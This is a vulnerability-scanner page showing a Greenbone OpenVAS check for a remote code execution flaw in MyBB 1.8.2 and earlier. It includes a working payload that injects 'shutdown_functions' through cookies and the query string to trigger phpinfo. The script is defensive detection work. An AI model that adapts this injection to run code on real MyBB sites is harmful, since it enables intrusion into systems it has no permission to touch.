Lucene search
+L

MyBB <= 1.8.2 RCE Vulnerability - Active Check

🗓️ 24 Nov 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 12 Views

MyBB <= 1.8.2 RCE Vulnerability - Active Check. MyBB's unset_globals() function can be bypassed under special conditions and it enables remote code execution. Attackers can execute arbitrary code within the context of the affected application. Updates are available

Refs
Code
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mybb:mybb";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105122");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2025-11-11T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
  script_tag(name:"creation_date", value:"2014-11-24 11:50:21 +0100 (Mon, 24 Nov 2014)");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("MyBB <= 1.8.2 RCE Vulnerability - Active Check");

  # nb: The done injection requests might be already seen as an attack...
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("sw_mybb_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mybb/http/detected");

  script_tag(name:"summary", value:"MyBB is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a large special crafted HTTP GET request and checks the
  response.");

  script_tag(name:"insight", value:"MyBB's unset_globals() function can be bypassed under special
  conditions and it is possible to allows remote code execution.");

  script_tag(name:"impact", value:"Successfully exploiting this issue will allow attackers to
  execute arbitrary code within the context of the affected application.");

  script_tag(name:"affected", value:"MyBB versions through 1.8.2.");

  script_tag(name:"solution", value:"Updates are available.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/35323");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location(cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

useragent = http_get_user_agent();
host = http_host_name( port:port );

url = dir + "/";
req = "GET " + url + ' HTTP/1.1\r\n' +
      "User-Agent: " + useragent + '\r\n' +
      "Host: " + host + '\r\n' +
      'Cookie: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1\r\n' +
      '\r\n';
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( res && res =~ "^HTTP/1\.[01] 200" && ( concl = http_check_for_phpinfo_output( data:res ) ) ) {
  report = http_report_vuln_url( port:port, url:url );
  report += '\nConcluded from:\n' + concl;
  security_message( port:port, data:report );
  exit( 0 );
}

url = dir + "/index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1";
res = http_get_cache( item:url, port:port );

if( res && res =~ "^HTTP/1\.[01] 200" && ( concl = http_check_for_phpinfo_output( data:res ) ) ) {
  report = http_report_vuln_url( port:port, url:url );
  report += '\nConcluded from:\n' + concl;
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation